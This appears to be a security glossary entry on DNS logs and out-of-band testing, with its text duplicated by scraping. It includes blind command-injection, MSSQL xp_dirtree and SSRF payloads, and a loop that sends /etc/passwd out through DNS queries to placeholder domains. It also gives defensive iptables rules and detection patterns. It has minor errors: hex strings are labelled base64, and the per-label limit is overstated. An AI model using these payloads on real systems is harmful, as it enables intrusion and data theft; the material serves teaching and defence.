DNS Log

Short Definition

DNS logs show what domain names got looked up. In security testing, you use your own DNS server and watch its logs. When target server looks up your-unique-id.your-domain.com, that lookup appears in logs, proving your exploit worked even if you can't see direct output.

Full Definition

DNS logs are records of DNS resolution requests and responses, capturing queries made by systems when translating domain names to IP addresses.

What DNS logs contain:

Query timestamp
Source IP (who asked)
Domain queried
Query type (A, AAAA, TXT, etc.)
Response given
Response time

Example DNS log entry:

bash

12026-02-26 10:30:45 | Source: 192.168.1.100 | Query: api.example.com | Type: A | Response: 93.184.216.34

In security testing:

Setup your own DNS logger:

bash

1your-domain.com → Your VPS/DNS server

During tests, use unique subdomain:

bash

1test-abc123.your-domain.com

When target looks it up, log shows:

bash

1Query from 54.12.34.56 for test-abc123.your-domain.com

Popular tools:

interactsh
Burp Collaborator
RequestBin
Custom DNS servers (dnslib, python)

Why It Matters

For security testing:

Detects blind vulnerabilities without direct output
Confirms exploitation in filtered environments
Works when HTTP requests are blocked
Bypasses WAF and filtering
Exfiltrates data via subdomain encoding

For defenders:

Detects data exfiltration attempts
Identifies compromised systems
Monitors for C2 communication
Finds unauthorized external connections

How Attackers Use It (and Ethical Testing)

Blind SSRF confirmation:

bash

1# Test payload
2POST /api/image-fetch
3{"url": "http://ssrf-test-xyz.your-domain.com/image.jpg"}
4
5# Check DNS logs on your server
6$ tail -f /var/log/dns-queries.log
7Query from 52.1.2.3: ssrf-test-xyz.your-domain.com
8# SSRF confirmed! Server made DNS lookup

Data exfiltration via DNS:

bash

1# Blind command injection
2; nslookup `whoami`.data.your-domain.com
3
4# DNS log shows:
5Query: root.data.your-domain.com
6# Exfiltrated username: root

SQL Injection OOB:

sql

1-- Extract database name via DNS
2'; DECLARE @db VARCHAR(100);
3SELECT @db = DB_NAME();
4EXEC('master..xp_dirtree "\\' + @db + '.sqli.your-domain.com\a"');--
5
6# DNS log:
7Query: production_db.sqli.your-domain.com
8# Database name: production_db

Multiple query encoding:

bash

1# Exfiltrate sensitive file
2file_contents=$(cat /etc/passwd | base64)
3for chunk in $(echo $file_contents | fold -w 50); do
4  nslookup $chunk.exfil.your-domain.com
5done
6
7# DNS logs receive file in chunks

Setting up DNS logger:

python

1# Simple DNS logger
2from dnslib import DNSRecord, RR, QTYPE, A
3from dnslib.server import DNSServer
4import logging
5
6logging.basicConfig(level=logging.INFO)
7
8class DNSLogger:
9    def resolve(self, request, handler):
10        reply = request.reply()
11        qname = request.q.qname
12        
13        # Log the query
14        logging.info(f"DNS Query: {qname} from {handler.client_address[0]}")
15        
16        # Return any IP (it doesn't matter for logging)
17        reply.add_answer(RR(qname, QTYPE.A, rdata=A("1.2.3.4"), ttl=0))
18        return reply
19
20server = DNSServer(DNSLogger(), port=53, address="0.0.0.0")
21server.start()

How to Detect or Prevent It

Prevention (Defensive):

Network controls:

bash

1# Block outbound DNS except to trusted servers
2iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
3iptables -A OUTPUT -p udp --dport 53 -j DROP
4
5# Use DNS firewall
6# Allow only corporate DNS servers

Monitor DNS patterns:

python

1# Alert on suspicious patterns
2def analyze_dns_query(query):
3    # Unusually long subdomain
4    if len(query) > 100:
5        alert("Possible data exfiltration via DNS")
6    
7    # Random-looking subdomain
8    if contains_base64_or_hex(query):
9        alert("Encoded data in DNS query")
10    
11    # Known OOB domains
12    if any(pattern in query for pattern in ['burpcollaborator', 'interact.sh']):
13        alert("Known security testing domain")
14    
15    # Many queries to same unknown domain
16    if query_frequency(domain) > 100:
17        alert("Potential DNS tunneling")

Detection (as tester, watching your logs):

Analyze what you see:

bash

1# Check logs
2grep "Query:" /var/log/dns.log
3
4# Look for patterns:
5- Source IP = target system IP? (confirms it's coming from target)
6- Timing matches your test? (confirms correlation)
7- Subdomain format matches payload? (confirms it worked)

Automated monitoring:

bash

1# Alert on new queries
2tail -f /var/log/dns.log | while read line; do
3  echo "[$(date)] New DNS query detected!"
4  echo $line
5  # Send notification
6done

Common Misconceptions

"DNS logging requires special setup" - Standard for most servers
"Can't exfiltrate much via DNS" - 255 chars per label, multiple queries
"DNS queries are encrypted" - Usually plaintext (unless DoH/DoT)
"Blocking HTTP blocks everything" - DNS often still allowed
"DNS logs don't matter" - Critical for detecting blind exploits

Real-World Example

DNS Exfiltration in APT Attack

bash

1# Malware encoded stolen data in DNS queries
2# Pattern seen in logs:
3
454686973206973207365637265742064617461.exfil.attacker.com
54d6f7265207365637265742064617461.exfil.attacker.com
6...
7
8# Base64 decoded: "This is secret data"
9# Exfiltrated gigabytes over weeks via DNS

Bug Bounty - Blind SSRF Discovery

bash

1# Target: E-commerce platform
2# Feature: Fetch product image from URL
3
4# Payload:
5POST /admin/fetch-image
6{"url": "http://ssrf-12345.researcher.com/image.jpg"}
7
8# DNS log on researcher's VPS:
9[2026-02-26 10:30:12] Query from 54.xxx.xxx.xxx: ssrf-12345.researcher.com
10
11# Confirmed blind SSRF!
12# Further testing with metadata service:
13{"url": "http://169.254.169.254/"}
14
15# If metadata accessible, DNS log would show:
16# (Some implementations make DNS query first)

Blind SQLi via DNS

sql

1-- Real pentest scenario
2-- Target: Healthcare application
3-- Vulnerability: Blind SQL injection in search parameter
4
5-- Payload:
6search=test'; 
7DECLARE @v VARCHAR(8000);
8SET @v = (SELECT TOP 1 table_name FROM information_schema.tables);
9EXEC('master..xp_dirtree "\\'+@v+'.sqli.tester.com\a"');--
10
11# DNS log showed:
12Query: patients.sqli.tester.com
13
14-- Confirmed SQL injection
15-- Exfiltrated table name: "patients"
16-- Further queries extracted more sensitive info

DNS, Out-of-Band, Blind SSRF, VPS, Data Exfiltration

Short Definition

Full Definition

DNS logs are records of DNS resolution requests and responses, capturing queries made by systems when translating domain names to IP addresses.

What DNS logs contain:

Query timestamp
Source IP (who asked)
Domain queried
Query type (A, AAAA, TXT, etc.)
Response given
Response time

Example DNS log entry:

bash

12026-02-26 10:30:45 | Source: 192.168.1.100 | Query: api.example.com | Type: A | Response: 93.184.216.34

In security testing:

Setup your own DNS logger:

bash

1your-domain.com → Your VPS/DNS server

During tests, use unique subdomain:

bash

1test-abc123.your-domain.com

When target looks it up, log shows:

bash

1Query from 54.12.34.56 for test-abc123.your-domain.com

Popular tools:

interactsh
Burp Collaborator
RequestBin
Custom DNS servers (dnslib, python)

Why It Matters

For security testing:

Detects blind vulnerabilities without direct output
Confirms exploitation in filtered environments
Works when HTTP requests are blocked
Bypasses WAF and filtering
Exfiltrates data via subdomain encoding

For defenders:

Detects data exfiltration attempts
Identifies compromised systems
Monitors for C2 communication
Finds unauthorized external connections

How Attackers Use It (and Ethical Testing)

Blind SSRF confirmation:

bash

1# Test payload
2POST /api/image-fetch
3{"url": "http://ssrf-test-xyz.your-domain.com/image.jpg"}
4
5# Check DNS logs on your server
6$ tail -f /var/log/dns-queries.log
7Query from 52.1.2.3: ssrf-test-xyz.your-domain.com
8# SSRF confirmed! Server made DNS lookup

Data exfiltration via DNS:

bash

1# Blind command injection
2; nslookup `whoami`.data.your-domain.com
3
4# DNS log shows:
5Query: root.data.your-domain.com
6# Exfiltrated username: root

SQL Injection OOB:

sql

1-- Extract database name via DNS
2'; DECLARE @db VARCHAR(100);
3SELECT @db = DB_NAME();
4EXEC('master..xp_dirtree "\\' + @db + '.sqli.your-domain.com\a"');--
5
6# DNS log:
7Query: production_db.sqli.your-domain.com
8# Database name: production_db

Multiple query encoding:

bash

1# Exfiltrate sensitive file
2file_contents=$(cat /etc/passwd | base64)
3for chunk in $(echo $file_contents | fold -w 50); do
4  nslookup $chunk.exfil.your-domain.com
5done
6
7# DNS logs receive file in chunks

Setting up DNS logger:

python

1# Simple DNS logger
2from dnslib import DNSRecord, RR, QTYPE, A
3from dnslib.server import DNSServer
4import logging
5
6logging.basicConfig(level=logging.INFO)
7
8class DNSLogger:
9    def resolve(self, request, handler):
10        reply = request.reply()
11        qname = request.q.qname
12        
13        # Log the query
14        logging.info(f"DNS Query: {qname} from {handler.client_address[0]}")
15        
16        # Return any IP (it doesn't matter for logging)
17        reply.add_answer(RR(qname, QTYPE.A, rdata=A("1.2.3.4"), ttl=0))
18        return reply
19
20server = DNSServer(DNSLogger(), port=53, address="0.0.0.0")
21server.start()

How to Detect or Prevent It

Prevention (Defensive):

Network controls:

bash

1# Block outbound DNS except to trusted servers
2iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
3iptables -A OUTPUT -p udp --dport 53 -j DROP
4
5# Use DNS firewall
6# Allow only corporate DNS servers

Monitor DNS patterns:

python

1# Alert on suspicious patterns
2def analyze_dns_query(query):
3    # Unusually long subdomain
4    if len(query) > 100:
5        alert("Possible data exfiltration via DNS")
6    
7    # Random-looking subdomain
8    if contains_base64_or_hex(query):
9        alert("Encoded data in DNS query")
10    
11    # Known OOB domains
12    if any(pattern in query for pattern in ['burpcollaborator', 'interact.sh']):
13        alert("Known security testing domain")
14    
15    # Many queries to same unknown domain
16    if query_frequency(domain) > 100:
17        alert("Potential DNS tunneling")

Detection (as tester, watching your logs):

Analyze what you see:

bash

1# Check logs
2grep "Query:" /var/log/dns.log
3
4# Look for patterns:
5- Source IP = target system IP? (confirms it's coming from target)
6- Timing matches your test? (confirms correlation)
7- Subdomain format matches payload? (confirms it worked)

Automated monitoring:

bash

1# Alert on new queries
2tail -f /var/log/dns.log | while read line; do
3  echo "[$(date)] New DNS query detected!"
4  echo $line
5  # Send notification
6done

Common Misconceptions

"DNS logging requires special setup" - Standard for most servers
"Can't exfiltrate much via DNS" - 255 chars per label, multiple queries
"DNS queries are encrypted" - Usually plaintext (unless DoH/DoT)
"Blocking HTTP blocks everything" - DNS often still allowed
"DNS logs don't matter" - Critical for detecting blind exploits

Real-World Example

DNS Exfiltration in APT Attack

bash

1# Malware encoded stolen data in DNS queries
2# Pattern seen in logs:
3
454686973206973207365637265742064617461.exfil.attacker.com
54d6f7265207365637265742064617461.exfil.attacker.com
6...
7
8# Base64 decoded: "This is secret data"
9# Exfiltrated gigabytes over weeks via DNS

Bug Bounty - Blind SSRF Discovery

bash

1# Target: E-commerce platform
2# Feature: Fetch product image from URL
3
4# Payload:
5POST /admin/fetch-image
6{"url": "http://ssrf-12345.researcher.com/image.jpg"}
7
8# DNS log on researcher's VPS:
9[2026-02-26 10:30:12] Query from 54.xxx.xxx.xxx: ssrf-12345.researcher.com
10
11# Confirmed blind SSRF!
12# Further testing with metadata service:
13{"url": "http://169.254.169.254/"}
14
15# If metadata accessible, DNS log would show:
16# (Some implementations make DNS query first)

Blind SQLi via DNS

sql

1-- Real pentest scenario
2-- Target: Healthcare application
3-- Vulnerability: Blind SQL injection in search parameter
4
5-- Payload:
6search=test'; 
7DECLARE @v VARCHAR(8000);
8SET @v = (SELECT TOP 1 table_name FROM information_schema.tables);
9EXEC('master..xp_dirtree "\\'+@v+'.sqli.tester.com\a"');--
10
11# DNS log showed:
12Query: patients.sqli.tester.com
13
14-- Confirmed SQL injection
15-- Exfiltrated table name: "patients"
16-- Further queries extracted more sensitive info

DNS, Out-of-Band, Blind SSRF, VPS, Data Exfiltration

DNS Log

Short Definition

Full Definition

Why It Matters

How Attackers Use It (and Ethical Testing)

How to Detect or Prevent It

Common Misconceptions

Real-World Example

Sources & References

DNS Log

Short Definition

Full Definition

Why It Matters

How Attackers Use It (and Ethical Testing)

How to Detect or Prevent It

Common Misconceptions

Real-World Example

Sources & References

Sources & References

Related Concepts

Domain Name System(DNS)

Virtual Private Server(VPS)

Sources & References

Related Concepts

Domain Name System(DNS)

Virtual Private Server(VPS)